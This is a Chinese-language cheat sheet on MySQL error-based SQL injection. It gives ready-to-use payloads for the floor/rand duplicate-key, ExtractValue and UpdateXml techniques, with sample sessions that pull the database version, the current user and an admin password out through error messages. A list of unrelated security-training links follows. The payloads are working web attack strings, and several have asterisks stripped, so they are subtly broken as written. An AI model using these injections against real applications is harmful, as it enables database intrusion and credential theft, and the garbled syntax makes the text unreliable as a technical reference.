mysql 注入报错利用方法总结
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
and (select count() from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)2)));
举例如下
进行正常查询
mysql> select from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
| 1 | test | do it |
+—-+——-+———+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select from article where id = 1 and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘5.1.33-munity-log1’ for key ‘group_key’
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码
Method1:
mysql> select from article where id = 1 and (select 1 from (select count(),concat((select pass from admin where id =1),floor(rand(0)2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
Method2:
mysql> select from article where id = 1 and (select count() from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)2)));
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想